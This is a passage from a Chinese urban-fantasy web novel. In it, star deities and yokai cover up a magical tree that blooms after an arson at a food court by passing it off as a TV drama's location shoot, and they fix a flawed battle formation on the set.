她把整个过程说了一遍。 李寅寅和龙兴伍都十分困惑:“金属遇水会炸……是钠吧?” “想纵火就直接点火嘛,还要慢慢搞化学反应?难道,是什么特别的爱好,我以前被人刺杀的时候,也有刺客接到了指定暗杀手法的附加要求。” 投放金属钠的人虽然穿着黑衣蒙面,但是他被爆炸吓得逃蹿的时候碰掉了口罩,刚好路口有车违规,交通违法拍照摄像头在拍照的时候,把车和逃蹿的他一起拍下来了。 人很快被抓住,往后悔椅上一坐,十分钟后就供认不讳。 妒火冲天的潮汕老板让他搞点强碱去浇死祥龙美食广场的发财树。 他不知道什么是强碱,又怕问老板觉得他是傻X,要扣他钱。于是上网去搜,发现强碱又叫氢氧化钠。 十几块钱份量的强碱就能浇死发财树。 然而,他抠门的要死,连十几块钱都想省,于是,他撬开了一个工业商店。 黑灯瞎火的看不清,看到一个包装上有“钠”,他以为那就是强碱。 虽然,它是块状金属,他自己也觉得用金属是不是有点慢,还不如浇开水。 但是,他相信,老板这么做,一定有他的理由。 一个好的员工,从来不问老板为什么。 之后就是踩点、挖坑、埋钠、爆炸、火灾…… 火灾这事,真的跟饕餮一点关系都没有。 烧掉的凭证是不是有问题,从此再也无人知晓。 李寅寅得知此事全过程后的评价:“靠,这也行。” 某病院烧伤科的病房,桌上堆满了消防队战友,还有龙兴伍送来的鲜花、营养品。 李寅寅来的时候,正看见医生凶巴巴地对喷火龙说:“你要装就装得像一点,前天三度烧伤,昨天一度烧伤,今天又变成两度烧伤,你让我病历怎么写!你莫不是在消遣洒家!” 喷火龙巨大的身躯躺在特制的大号病床上,十分委屈:“我不知道呀!咱也不懂,咱也不敢问……” 医生对着他扔出一本《实用烧伤临床治疗学》:“好好学学!明天我来的时候你要是再搞错,我就咬你了!” “哎哎!”喷火龙抱着书,答应的非常谦卑。 如果他俩都是原型,这个场景就很搞笑,医生是狗獾精,就是一个胳膊长的小獾子对着三层楼高的喷火龙颐指气使,大声嚷嚷。 李寅寅忍不住笑出声:“官医生辛苦了。” “外国龙都是笨蛋!中国龙比他聪明多了!”官医生愤愤。 李寅寅笑得更开心:“好的,我会向青龙转达你的赞美。” 等官医生出去以后,喷火龙着急问:“原随云没事吧。” 从李寅寅的口袋里探出奶黄包一样的脑袋:“我没事,我会飞的呀,第一次闷响我就走了。” 原随云又情绪低落下来:“可是,树被烧坏了,你没有东西吃,要饿肚子了。” 喷火龙苦恼地抓了抓头:“要是真烧坏就好了。” “啊?”李寅寅不明白。 “那是种在我住的洞穴旁边的树,用岩浆都浇不死,越热越茂盛,但是你说在人间就要守人间的规矩,没有正常的树在一百度的环境下还能生活,会惹麻烦的,我才控制温度,所以树才会长这么慢,现在,它被烧了五个多小时……把它烧爽了……我很担心它。” 烧爽了,就是要飞快生长。 人家说的“枯树逢春”是指来年春天,在焦黑的树桩子上长出那么一星半点的小绿芽。 绝不是说,在被大火烧了很长时间之后,新芽狂吐,鲜花盛开,比浇了“金坷拉”还繁茂。 “这事简单,让龙兴伍说那棵茂盛的树是新买的就行了。” 想法很好,但是,那棵树有自己的节奏。 它就这么顶着被烧得焦黑焦黑的模样,不仅抽出了新芽,还绽放花朵。 生怕不够招摇,那花朵开得五颜六色,还一日三变:白色、雪青色、深红色。 深红花朵之后,便结出了一个又一个拳头大小的深紫色果子,挂在枝头一晃一晃。 真·全城沸腾。 尾火虎、龙兴伍、李寅寅、洪大牛……与此事相关人员,汇聚一堂,紧急研究要编什么故事,才能让人类相信这事是科学的、合理的。 尾火虎眉头紧皱,盯着站在面前的洪大牛:“你带来的种子,你先说。” 洪大牛低头、搓手:“俺是老实人,不会编。” 一只外国龙,居然还“俺”上了,根本就是装死,不想动脑子,李寅寅对着他的龙尾巴重重踩了一脚。 第59章 女土蝠 这么大的事,又涉及异界,当然不能草率处理,尾火虎组织了一次正式会议,目标是在会议中彻底把这个问题解决。 《第一届祥龙美食城紧急安全事故处理会议暨各界人士联欢会》 议题:怎么处理异界树 主持人:妖管局局长尾火虎 参会人员: 美食城总经理代表:饕餮 始作俑者:喷火龙 人类安全保障代表:奎木狼 技术支持:娄金狗、心月狐 证人:鬼金羊、洪都拉斯白蝙蝠 会议后勤保障:柳土獐 观察协调员:西极白虎星君监兵、白虎七宿永远忠诚的对象、西方蓐收神君神格继承者、西海弇兹神君神格继承者、天下兵刃与杀伐的掌握者、人间武将的守护者 尾火虎扫了一遍,认为这个名单没有问题,李寅寅身为全场会议唯一的正神,把自己的头衔都加上是正确的、合规的。 他挥笔签了两个大字:同意。 负责会场布置的妖管局员工们按照尾火虎设定的名单,安排座位和茶歇。 前台小兔子拍了照片,发到自己的朋友圈:“为一场重要会议做准备,今天也要努力工作哟~” 李寅寅有她的朋友圈,扫了一眼,看着现场的椅子数,恍惚了一下,然后顿悟。 距离会议还有五分钟,时间观念极强的喷火龙先到了。 他伸出爪子,一个一个的点座位:“十三个?怎么会是这么可怕的数字。” “有什么可怕的?”李寅寅来了。 在她身后,浩浩荡荡一群人,有苏灵衣、介老头、冯墨、薛姗、乐乐,连客居的黄少芸都被她拉来了。 喷火龙抓了抓脑袋:“十三,在我们那里是一个很不好的数字,代表着灾难。听说,有一个公主出生的时候,没有请第十三个女巫,然后,他们全国都被催眠啦,睡了一百年。” “那岂不是说明十二才不吉利,要是那个国王请了十三个女巫一起吃喝,不就没事了吗?中国人有句古话,叫识时务者为俊杰,敬酒宁可少敬一桌,不可少敬一个,那个国王也太欺负人了,我要是第十三个女巫,我也不能忍啊!” “可是……那是坏女巫,国王不想请她。” 李寅寅眯起眼睛:“那就是国王早就想除掉她了?那更要把她请来,灌醉了,让另外十二个女巫一起动手,把她干掉。只要不优柔寡断,就没有弄不死人的鸿门宴。” 喷火龙抱起自己被踩得很痛的尾巴,不敢吭声,如果李寅寅去了他所在的世界,可能早就一统天下,一个勇者都活不了。 其他人陆续到来,被占了会议室半壁江山的宠物店人员吓了一跳,再看看人员构成,居然还有小孩子……这是不是太儿戏了。 尾火虎是最后一个到的,他的眼睛在会场扫了一圈,便低声对负责会议的妖管局员工吩咐:“会议后十分钟开始提供茶歇。” 小兔子惊讶地睁大眼睛:“这么早?” 按既定会议流程,一个小时休息一次,后勤部门到第五十分钟的时候在外面摆茶歇,摆完差不多正好中场休息,怎么十分钟就摆了? “照我说的做。”尾火虎摆摆手。 茶歇刚摆上去不到三分钟就被清空,柳土獐指挥人把准备好的富余量再摆上去,她把摆放满满的桌面和被吃得空空的桌面拍下来,发在自己的朋友圈,配字:“携蝗大嚼图。” 朋友圈被人截图转发出去,各大院校、研究机构的同仁们纷纷点赞转发:“请主办单位按这个标准卷起来!” 吃货们在外面横扫千军。 会议室里气氛变得有些箭拔弩张。 一切都源于心月狐建议说可以把事情解释为灭火用的干粉与美食城里的装修材料和食品添加剂,在剧烈燃烧后发生了化学反应。 具体是什么化学反应,谁有本事谁去查呗。 国外那么多化合物在国内进行逆向工程都推不出来。 她对这个建议很有信心,因为推不出来的,实验室那么严谨的地方,变量都不能保证百分百控制,何况是在露天环境,谁知道造成这样的结果,是不是因为天上刚好路过一只鸟,被热晕了,一头栽到火里。 这很合理,还有先例,莫邪干将的故事不就是这样的吗。 龙兴伍不乐意:“饮食行业稍微有一点问题就会被人盯上,写长篇大论解释合理性根本没有用,大众只会‘字多不看’,然后就变成在美食城吃过东西,都会变异。” 娄金狗也站在心月狐这一边:“可是,这是最科学的解释了,不然要怎么说?说你这树是假的?花也是假的?来不及了,已经有人摘过了。” 岂止是摘过了,至少有两百多个人爬到树上拍照留念,旁边还有三个小摊在旁边,提供梯子和服装租赁、拍照和修图一条龙业务,每次一百块。 低矮处的花和果早就被薅了一轮,幸好这花也只在新枝上开,不至于发生花刚被摘下来,几秒钟后,在同样位置立马叭唧开一朵新的出来。要真是那样,只能执行全城大洗脑,往人类的脑子里灌入新的内容替换这部分。 然后再找专家说这是曼德拉效应。 一开始没有人提出洗脑计划,是因为这事属于天谴要找上门的范围。 早期美国一直认为冷战时的对手是因为用了洗脑大招,才会让这么多人心向红旗,他们认真的研究了很多年,结果屁都没研究出来。 但凡他们稍稍有那么一点点进步……不,哪怕没有进步,而是单方面宣传他们成功了,就像他们说自己登上了月球那样对外广而告之,妖怪们用洗脑术都不算违背空间法则。 想到这里,妖怪们就十分不爽,并深深同意网上的一句话:遇事不决先骂美国。 不爽归不爽,问题还是要解决的。 龙兴伍坚决不允许在他的美食城里出现任何不和谐不友好的化学物质。 奎木狼严肃地看着他:“如果不能在短时间内解释这件事,中央工作小组就要下来了,到时候,你的美食城一样开不成,也要歇业接受调查,要是查出别的什么,那就不止是卫健委的人来了。” 他的手指在桌上敲了几下,透着十足的威慑意味。 与会人员又陆续提了几个解决方案: “说地下有古墓?找氐土貉搬一座过来。” “不行,有古墓这生意更做不成了!” “说那树是从福岛买来的?” “我为什么要从福岛买树?!” “说……妈的,还是开启全城大洗脑吧。” 后面,大家又头脑风暴了一个多小时,不是不符合中国国情,就是不符合唯物主义。 这回不像辽宁营口坠龙事件,可以直接硬栽所有人都看错了,是群体性癔症。 看见的人太多了,还有一堆主播赶到现场直播,比深圳东门的网红一条街还热闹。 在外面的会议“蝗虫”们,替坐在会议室里,根本无心吃东西的人把茶歇小糕点清空了三回。 “寅寅姐姐,我给你拿了蛋糕。”乐乐悄悄地在李寅寅的左手边放了一块奶油小蛋糕。 “我给你拿了果切。”黄少芸悄悄给李寅寅的右手边放了一碟色彩缤纷的水果,上面还体贴地插着牙签。 “我给你拿了咖啡,不知道你喜欢喝什么,我就都拿了。”苏灵衣从李寅寅的左右肩头各伸出一只手,左手拿的是冰美式,右手拿的是热拿铁。 冯墨端上的是肉食盛宴披萨,薛姗传过来的是浇汁小海鲜。 就连介老头都拿了一块碱水扭结面包冲着李寅寅晃了晃:“要吃吗?” 其实李寅寅本来不饿的,当桌上出现这么多食物之后,她就有点饿了。 她一边吃一边听别人说。 在这一个多小时内,每个人都至少说过一次:“唉,执行记忆清除术吧!” 要不是“天谴由谁来担着”这事没谈拢,早就执行了。 苏灵衣问道:“为什么不能直接把树挪走?” 李寅寅:“挪走也得给个理由。” 苏灵衣:“事情解决不了的时候,先把证据处理掉,只要证据不在了,后面不管怎么编,都死无对证。照片可以P,视频可以AI,至于那些亲眼看见的人,谁能保证他们不是为了在别人面前吹牛而编的呢。” 鬼金羊听到了苏灵衣的话,她不认同:“看见的人太多了。” 苏灵衣坐在李寅寅身边,面对二十八宿之一,说话也很嚣张:“太多又怎么样,只要压住不提,过两三年就会被人忘记,只要不上九年制义务教育的教材,过五年就会被忘干净。就算上了教材,只要不是必考的考点,高考完了也至少有八成的人忘干净。现在还有几个人记得故宫博物院砸碎了一个哥窑?” 奎木狼皱眉思考利用行政手段压住媒体的可能性,思忖片刻后,他说:“那就要龙总破费了。” 要各家媒体噤声,要么有权,要么有钱,龙兴伍不走上层路线,就只能走平平无奇的金钱公关路线。 龙兴伍的公关团队已经收到龙兴伍的要求,计算出要一口气搞定这么多家媒体的整体费用是多少。 钱,不是主要矛盾。 最大的问题是如果处理不当,就要成了新“花学”,越捂嘴,人民群众八卦的劲头越大。 在“对全城使用洗脑术,并引来天谴”和“不管编什么理由,总之先把树搬走”之间,大家一致选择了后者。 不管怎么样,树就这么被搬走了,鉴于喷火龙要是吃不饱,可能会闹事,尾火虎特批,把这棵树挪到妖管局的结界里待着,小蝙蝠可以继续照顾它。 正常情况下,这件事就到此结束了,如同那个开进了故宫的大G,媒体不报道、本人不回应,要不了几天,这事就只会变成一个不恐怖、不香艳、没有情感纠葛的无聊都市传说,渐渐被人们淡忘,再也不被人提起。 所谓……树欲静而风不止。 这树都没了,风还在吹。 尾火虎办公室的沙发上坐着一个三四十岁的女性,用人类标准来看,她不仅仅是漂亮,更是拥有成熟女性最动人的妩媚与韵味,完全不像职场精英女性那样有压迫感,是男人最喜欢的那种“好掌控”的女人。 不过,谁要是信了她真是柔弱无助的小可怜,那离被她掌控就不远了。 在金庸小说里,她就是手无缚鸡之力就能坑了萧峰的马夫人。 在言情小说里,她就是仅凭一个回国的消息,就能让男女主散伙的白月光。 “好久不见了,女宿。”尾火虎微笑着亲自为她倒了一杯茶。 “是呀,异变之后,二十八宿散落华夏各地,我一个人孤苦无依,只能慢慢从底层做起。”女宿右手食指与中指弯曲,在桌上敲了三下。 “别客气,我们是平辈,我受不起你这礼,玄武星天的人一向不与其他星天往来,你来找我,一定有重要的事。” 尾火虎是真不愿意得罪她,她的气性实在太大了,跟金翅大鹏鸟有一拼。 当初她在佛前听法,放了一个屁,被佛祖头顶上的金翅大鹏鸟看见,觉得她浊气缠身,就扑楞下去,硬是把她给啄死了。 孔雀是佛母,大鹏是孔雀的兄弟,也就是佛祖的舅舅。 要是其他星宿,死就死了呗,等去人间轮回一趟,死了再回天庭就是了。 她主打一个有仇立马报,冤灵不散,让佛祖都不得不让舅舅去人间走一趟,了解这场因果。 都说玄武星天的人安静、温和、随缘、宅……结果她就下去了这么一回,就为杭州旅游事业做出了不朽贡献,留下一个知名景点:岳王庙前铁跪像。 以及一个成语:东窗事发。 不惜遗臭万年也要硬刚佛祖舅舅兼护法神,这种事,尾火虎想都不敢想。 “哎呀,别这样,好像我们玄武七宿都不懂礼数一样。”女土蝠微笑,“刚才进来的时候,我看到门口有一棵树,很漂亮,就是饕餮公司门口的那一棵吧?” “对,有一个异界来客在我们市,别的东西他吃不惯,这是他自带的口粮。” 女土蝠抿嘴一笑:“我又不要他的,你这么紧张干什么。我听说,你们为了解释这棵树的合理性,还专门开了一个会?” “对。” 她向尾火虎靠近:“我现在在娱乐公司工作,正好这段时间,我们公司要拍一部都市仙侠剧,正好就有一个渡劫的树妖突然开花,引得全城沸腾的剧情……” 她找尾火虎,是想要动用妖力,回溯树被烧焦后,到被搬走这段时间发生的事。 “看起来就像高清摄像头在高处拍摄,其实人类自己安装的几个摄像头,也抓到了这个画面,就是角度不大好,也不清晰,我用妖力只是稍稍转个位置,增加清晰度,应该不违反妖管局的条例吧?” 原来是来报备的,尾火虎心里微微松了口气,批准了她的想法。 得到尾火虎的同意后,女土蝠又走进了虎虎宠物店,说想要借一些动物拍摄。 除了给钱之外,她愿意在片头就打上大大的字幕:特别鸣谢虎虎宠物店 李寅寅不像尾火虎那么好说话,她不仅要确定在本剧中,没有任何动物会受到伤害,还要看剧本和演员简历。 免得将来这剧太弱智,片头的大字幕成了巨大的耻辱。 这部剧是说四海八荒第一美仙女、天帝的女儿,跟四海八荒第一战神虐恋情深,在天上的时候,战神以为仙女暗害了与他青梅竹马的小仙子,于是出手把仙女打下界。 战神也因此被天帝惩罚,被贬下界。 仙女认出了战神,于是设计让战神爱上自己,然后再自杀,让战神永失所爱,痛苦一生。 战神果然痛苦一生,他……在月老庙自杀了,死前冤气冲天,发誓一定要找到仙女报仇。 下一世,仙女沦落为普通女孩,战神成了霸道总裁,月老的红绳让两人成了契约夫妻。 仙女爱战神爱的要死要活,战神心中却只有曾经救过他的那个姑娘,他连那个姑娘的脸都没见着,只知道自己给了她一块玉佩。 有人拿着玉佩来找战神,战神立马要跟仙女离婚,仙女死不离婚,战神就虐待她,折磨她,让她在床前伺候,还伺候玉佩主人的月子。 最后仙女不堪折腾,死了,战神才知道玉佩给的是仙女,只是被这个女人偷走了,战神又追悔莫及。 …… 后面还有八生八世的虐恋情深,恩怨纠葛,或者叫花式虐女之大成。 李寅寅实在看不下去了:“……这战神爱的是玉佩吧,恋物癖?而且,为什么仙女报复战神,是自杀?战神报复仙女,就是从身体上虐待她?还害她朋友和父母?” 女土蝠笑道:“电视剧的主流受众就是这样的,在现实里,她们无力对抗,如果在电视剧里让女主角开挂,大杀四方,她们就缺少代入感,觉得不真实。对于她们来说,积攒道德资本,让男主后悔一辈子就够了。 《大明1566》怎么样?良心好剧是不是?收视率0.7%,《娘道》快被批烂批臭了,那又如何?收视率超过2%,观众一边骂一边追。” 她看出李寅寅的鄙视,又补充道:“我是生意人,是不是站着把钱挣了不重要,重要的是把钱挣了。” “玄武掌水,水属财……还真是符合我对玄武星天的认知。”李寅寅直白的表现出了不屑。 女土蝠妩媚一笑:“我们公司里几百个员工等着吃饭呢,我不能因为想要追求艺术,就让员工都把嘴缝上呀。我这剧本都备案过了,在赚到我设定的目标之前,演员也能绝对保证不出问题。星君愿不愿意帮忙呢?” 小动物全地球那么多,她随便上哪儿搞不来。 非得盯着李寅寅问。 她要的不是小猫小狗,而是白虎星君是她后台的这个名头。 李寅寅没有马上回答她:“你跟我做生意,不需要对玄武星君说一声的吗?” 越过自己直属上级进行跨部门协作,还直接找部门领导,这在哪儿都不合适。 女土蝠无奈地苦笑:“他呀,不知道去哪儿了。” 青龙的不知道去哪儿,是星宿之间的联系断开。 朱雀的不知道去哪儿,是魂都被自己手下夺了。 玄武……不知道会不会有新花样。 “何况知道了,也没有用呢,我们玄武星君呀,一向什么事都不管,我被大鹏啄死,他不管,大鹏被我害死,他也不管。我们七宿,一向自己管自己,活得好像一个松散的联邦,比江苏还要散装。” 女土蝠再次十分诚恳地看着李寅寅:“剧本确实土了些,但是我可以保证,它绝对可以赚到钱,至少能赚到五千万以上,我愿意把利润分给星君三成。” 哎,三成……五千万的三成…… “一千五百万,也不是很多嘛,也就够霸总战神的妈妈说三次‘离开我儿子’。”李寅寅淡淡一笑。 见李寅寅对金钱似乎兴趣不是很大,女土蝠又说:“我们这片子,虽然剧情您看不上,但是,玄学方面,都找了专家指导,我们的营销也打算走宏扬民族传统文化的路线。说不定,就有人能知道为什么我们回不去天庭了。我法力不够,没有眼力,就算与古神面对面,也认不出来,要是就这么错过,岂不可惜?” 这倒是,有些隐匿了气息的古神,不是真想隐,是没人信他了,他没力量,才无法被感知到。 那些自太古时期经历过人神混居的古神们其实很喜欢人间的热闹,并不是修无情道的清冷禁欲仙尊。 说不定,在乱七八糟,爆炸瓜多多的娱乐圈真能遇到他们。 多一条通向线索的路总是好的。 李寅寅答应了。 女土蝠雷厉风行,得到尾火虎和李寅寅的批准之后,她立马安排人来了一波站姐路透。 “为了得到最真实的反应,《紫玉落渊》剧组在某市进行了实景拍摄……” 视频里放了人民群众围着异界树好奇拍摄,指指点点的镜头,又放了演员们在已经搬到妖管局结界的异界树旁穿着仙服,飞来飞去的一些花絮。 营销通稿的卖点紧扣“实景拍摄”“真情实感演绎”“专业顾问”三大方向。 这下,就连真在树上坐过,掐过花,摘过果的人都觉得:“嗐,原来是拍电影啊。” 电影嘛、道具嘛…… 假的,都是假的。 哪怕它嗖嗖开花,哐哐结果,也必然是假的。 至于怎么做到的,这事有什么好追究的?人家片方也有保护商业机密的权力。 本来已经准备好稿子的神秘区UP主,玄学区UP主,恐怖区UP主,全都放弃更新计划。 有些2G上网的人提那么一嘴:“是不是前几天有被烧焦的树忽然开花结果?” 马上就会有一群热心人科普:“是人家拍电影的道具。” “真的是这样吗?” “回大巫,我得到消息的时候,那棵树已经被搬走,现在完全探不到消息,听说,是被种到了一个私人山头,属下无能,感觉不到那棵树的气息。” “不是你无能,是它被搬到结界里了。罢了,我亲自去一趟,探探虚实。” 喷火龙自从认真学习了医书后,伤情控制地特别好,怎么看都是至少三个月不适合出现场这种工作。 女土蝠与消防队联络,想请喷火龙做消防安全顾问,随便兼任一些龙套角色。队领导同意了。 他的角色是异界树所在山的山神,主要任务是坐在树边吃果子,顺便救一下从天空落下,被天火烧伤的女主,然后为了保护女主而死。 他死的时候可凄美了,异界树果实掉落,花朵枯萎,树叶飘零,整棵树自燃,火焰冲天,化为焦黑的一根木头。 ……就是纵火案倒放的全镜头。 能省的钱,女土蝠一毛钱都不愿意掏。 至于背后还隐约有祥龙美食城的这种BUG……只要是无伤大雅的BUG,等正片播出的时候,不就是给观众们一个当列文虎克的机会吗?又是一波宣传素材。观众不找,她也得安排人找。 李寅寅一个人没打招呼就去探班,还没见着女土蝠,先看到了片场正中摆着的阵法:白虎七煞阵。 那是她在人间领兵打仗时发明,并用过很多次的阵法,随便扫一眼,就知道阵法对不对。 很显然不对,白虎七煞阵不是玄学,是真实有用的设计,只要敌人进来,绝对死光光。 但是按现在这个阵法,怎么着也得把20%的敌人放走。 一万人的20%就是两千人,两千人,都够班超杀穿西域了。 绝对是重大失误。 李寅寅忍不住开口:“这阵摆得不对吧。” 旁边的场务小工不认识她,见她打扮普通,手里连一个专业的相机都没有,想来是个误入的。 之前放出的花絮,就已经在网上有不少假装自己精通传统文化,擅兵法会玄学,一点毛皮就敢到处现的人,指指点点,说剧组这个那个不对。 都被老板请来的专家引经据典的打脸了。 他觉得,李寅寅也是一个来指点江山的半瓶子水。 “哪不对了?” “这个位置,应该是堵起来的,不然这个阵就没有意义了,还有那边……”李寅寅把布局上的两处漏洞都说了一遍。 场务根本没听懂,就觉得她这叨逼叨的很烦,肯定是看了哪本野史来现。 便问道:“我们这是有专家指点的,你是从哪看来的?” “这阵我用过好多次了,不用看我都知道。”李寅寅说了大实话。 场务“扑哧”笑出声:“用过好多次?喜欢玩即时战略的女生不多啊,你玩的是哪个游戏?率土还是三战?” 第60章 胃土雉 “游戏里的阵法都是一个色块一个特效,既然这部剧说卖点就是真实,那就得是真实。” 李寅寅看过太多立人设的明星翻车,卖还原史实正剧的剧被嘲。 女土蝠说这剧的片头要挂个特大号的鸣谢,她就不想让这剧变成吐槽区UP主的团建现场。 “怎么不干活,在这聊上了?”一个男人走过来,不满地看着小工。 小工赶紧解释:“这个女的说我们的阵法错了。” “你怎么进来的?”男人看着她,李寅寅拿出女土蝠给的公司员工通行证。 男人见是公司的人,神色稍微缓和一点,对她说:“这个阵法是老板专门从军事学校请的军事史专家,跟风水玄学那种假的东西不一样。” “我知道这是实用的阵法,所以乱摆更容易被人看出来,就算不知道这是什么阵法的人,真人一上,就会被看出来这个阵有很大的问题。” 男人摆摆手:“观众只想看演员,布景他们不会在意的,有几个人能看懂阵法。” “只要稍微改一下,就能做好的事情,为什么就要往烂了做?”李寅寅想不明白,搬两块石头堵在她说的位置,是会累死还是怎么着? 她不知道的是,眼前的男人负责调度整个场务,这个阵法是已经得到他验收合格的,要是他现在承认阵法有问题、重做,岂不是说明他的专业性有问题。 是在挑战他的权威? 娱乐圈对于轮资排辈看得特别重,工作人员最不出错的叫法就是见人就喊老师,资深人士演什么鬼东西,都得叫好,看不懂的人是没品味,是山猪吃不得细糠。 这也是有些人明明私底下智商情商不错,行为也很正常,就喜欢演一些油腻尴尬的角色,自我感觉还特别良好。因为身边的人只会高呼“星宿老仙,法力无边”。 眼前这个男人虽然不知道这么摆到底是对还是错,但是,一个外来的人挑战他的权威,那就是错! 看在公司通行证的份上,他还是很客气:“谢谢你的建议,我会核实的。我们现在还有其他的急活,先走一步。” 说罢,他就推着小工走了。 走到几十步跑的地方,他以为李寅寅听不到了,小声对小工说:“你理她干嘛,随便找个借口打发掉不就行了,浪费时间。” 明早开拍的白虎七煞阵是全剧的重头戏,是男女主第一次互表爱意,生离死别的剧情。 此前有其他剧组的场务工作出错,不是爆炸炸点有误,炸伤了男女主,就是威亚出意外,差点摔死男女主。 这部剧为了宣传实景,都不是在影视城拍的,而是找了一个自然风景区,情况更加多变。 晚上,女土蝠过来探班,主要是看看演员的情绪,以及视察道具服装和场务工作。 李寅寅也一起跟着去。 到现场一看,不出所料,原来是怎么错的,现在还是怎么错。 李寅寅指了指阵法,对女土蝠说:“我早上就让他们改了,一个石子都没动。” 女土蝠转头对助理说:“把陈志华叫来。” 陈志华就是整个场务的负责人,他见到女土蝠身后的李寅寅,知道肯定是阵法的事。 当时只有李寅寅一个人,公司里稍微有头有脸的人哪有独自一个跑片场的,他是真没把李寅寅当回事,现在看她站在老板身后,猜想一定是跟老板关系比较亲密的人,以前也不是没有老板闺蜜朋友跑过来指指点点的事。 老板虽然对朋友不错,不过,她还是很尊重专业的。 从见到李寅寅站在女土蝠身后,到走到跟前,不过二十步,他已经想好了要怎么脱身。 “王总。”陈志华露出灿烂的笑容,恭恭敬敬叫了一声。 女土蝠问他:“这个阵是怎么回事,为什么没改?” 陈志华认真道:“李小姐提出这个问题以后,我马上重新查了一遍魏老师给的设计图,确实没有问题,我本来想请魏老师确认一下,不过这边信号太差了,信息发不出去。要不,我现在把图拿来,再给李小姐看看?” “不用了,你就按我说的改,不然,明天拍摄中肯定出问题,能用道具解决的问题,就不要给导演增加负担了。” “要不……我请魏老师过来?我刚收到消息,他也来了。” 陈志华一溜小跑出去接魏老师,女土蝠向李寅寅道歉:“对不起啊,他调度现场的能力确实比一般人要强,在圈子里也是数一数二的,所以脾气大一点,也没有比他更好的了。” 李寅寅非常理解,在项目没开始的时候,可以说地球离了谁不转,三条腿的青蛙不好找,两条腿的人满街都是。等项目开始运行了,再换人就没那么简单了。 不到万不得已,没有人会在开拍后突然换人的。 李寅寅笑道:“现在行业后备人才这么不足吗?” 女土蝠无奈叹了口气:“别说调度现场了,能听懂话里的意思,能看完一百四十字并且理解,能准确转述别人的话的人,已经是业界精英了。” 李寅寅问道:“这个魏老师是什么人,是战史专家?” 女土蝠微微睁大眼睛:“咦,我还以为你已经知道了,他是……” 话音未落,就看见陈志华扶着一个八十多岁的男人过来:“王总,魏教授来了。” 他笑着向李寅寅介绍:“这位是魏国强魏教授,他可是国防大学的战略考研部教授,还是古代微观战争研究会副会长,美国的西点军校都请他去当客座教授,正好撞上咱们这项目的档期,硬是推到等我们拍完……” 李寅寅见了他,眉毛微扬。 如果这位老先生头上那一堆头衔都是真的,那么他来这小破剧当顾问的唯一原因,就是他知道投资人是女土蝠。 这位是西方颢天·胃土雉,白虎七宿第三宿,被视为白虎的胃,收集大量的资源,将营养源源不断的供给白虎。 李寅寅几次下凡,他都是李寅寅的左臂右膀,不是当参谋智囊,就是当军需官、押粮官。 看起来稳重大方,像个善良温和的老好人……慈不掌兵,老好人还打什么仗。 所谓计毒不过绝粮,胃土雉同志不仅绝粮,还在围城难破的时候,把有毒的人肉干弹射到被包围的城里。 李寅寅在网上看到别人分析说薛宝钗心狠手辣,金钏死了,她毫不动容,就想着怎么帮王夫人甩锅。 她就想起了自己那稳重的野鸡同志……如果他是薛宝钗,可能会连夜把金钏的尸体悄悄运到赵姨娘的院子里,再伪装一下死法。再泼的赵姨娘,也得懵。 不过,有一说一,当他跟自己站在一边的时候,确实令人神情气爽,心旷神怡。 “魏教授,你好。”李定寅微笑伸出右手。 魏国强赶紧握住:“别别别,叫我小魏就好。” 陈志华懵了:“您二位……认识啊?” “对,认识好多年了。”李寅寅笑道。 还……还认识好多年?陈志华脑袋嗡嗡的。 李寅寅看起来只有二十多岁……可能是世交。 一定是魏国强同事的孙女……不对,怎么会让同事的孙女叫他小魏?是什么新奇的圈内称呼吗? 或者,是魏国强老上级的孙女? 他说的其实不是小魏,而是枭卫? 可能是像特警有雪豹大队、龙虎大队那样,特别警卫连叫枭卫? 对,一定是这样,陈志华觉得一切都通了,不再纠结称呼。 他决定先把自己身上的锅甩了:“魏教授,李小姐说您给的白虎七煞阵有问题,可是我们真的是不折不扣按着您给的设计图摆的啊!” 魏国强眼睛微微睁大:“有问题?” “对!”陈志华开心了起来,显然魏教授对自己给出的图纸有百分之百的信心,他可是专家教授! 一个小丫头片子,就算是将军的女儿,从小受熏陶,但她又不是专业的,记错很正常。 陈志华心中暗想:一会儿,魏教授说场景没错之后,她脸上肯定挂不住……虽然自己没错,但是她又是老板的朋友,又跟魏老师关系匪浅,那还是不要得罪她的好。 不能把得意挂在脸上,还得想办法安慰她几句,表示一下自己大度不计较。 魏国强背着手看了半天,吐出五个字:“确实有问题。” “怎么可能有问题呢?!!!”陈志华急了。 他真的是不折不扣按设计图来的,最近有几个剧组的同行图省事,搞出了人身事故,剧组开了几次会强调所有部门必须完全按标准流程来,谁改动不报备,出事了赔钱坐牢,不出事也要开除。 “设计图没错,你们也确实是按设计图装的,但是……你们装的地方,跟当时给我的地形图不一样。” 魏国强往两个地方一指:“我记得原来这两个地方是墙,怎么变成路了?” “……呃……那个……位置……确实稍微动了一下。”陈志华结结巴巴地解释。 “原来给您的地形图在旁边,导演前天看了一下,觉得这边多一个湖,视觉上更美观,也方便演员增加落水戏,快速拉进感情距离……” 导演决定要换地方,不是他擅自改动! 不是他的错! 魏国强点点头:“我明白,不过阵就不对了。” 他指着两个缺口:“真要按着计划拍,观众会说,为什么主角和士兵不从最近的两条路跑,一定要跑到湖边,跳进水里。” “哎……哎……我们给那里加两块石墙可以吗?” 魏国强没有马上回答,而是转脸望向李寅寅:“您看呢?” “咦?顾问不是你吗?怎么问起我来了?”李寅寅笑道。 魏国强忙陪笑:“哈哈哈,想偷懒,被看出来了。” 他看了一眼现场:“第一个方案是加石墙,但是前面有湖,又是一道生门,得加入额外的机关……” 他思考片刻,提出了三个解决方案,一个省钱,一个省时间,一个呈现效果最好。 陈志华亲眼看着这个连王总见到都客客气气的大教授,居然站得笔直,像等待老师批改作业的小学生。 李寅寅听完,提了几个问题后,回答道:“执行层面都没有问题,剩下的就要看我们王总选什么了。” 女土蝠不差钱,痛快的选择了呈现效果最佳的方案,陈志华马上安排人对现场进行调整。 把现场调整完已经是清晨,女土蝠请现场的工作人员吃早饭,并放他们回去休息。 陈志华还得跟在导演后面,做最后的确认。 现场布景跟导演上次来看的时候不一样,好在这是王总和魏教授点头批准的,就算导演要骂,也骂不到他头上。 导演大战制片人。 制片人火拼导演。 这种事情在娱乐圈也屡见不鲜了。 导演转了一圈,对新加的几个东西提出疑问,陈志华一一回答。 “诶,可以啊!!!可以可以!想得很周到!志华,你辛苦了。”导演十分满意。 陈志华知道导演这是误以为自己出的主意,当下他也不想解释,能给自己多一道光环有什么不好。 等到导演发现水边还有弩机的时候,他问了一句:“这个什么时候放?” “……女主掉水里的时候放?” 导演皱眉:“掉水里的时候就射不到了,对着水面放空箭啊?” 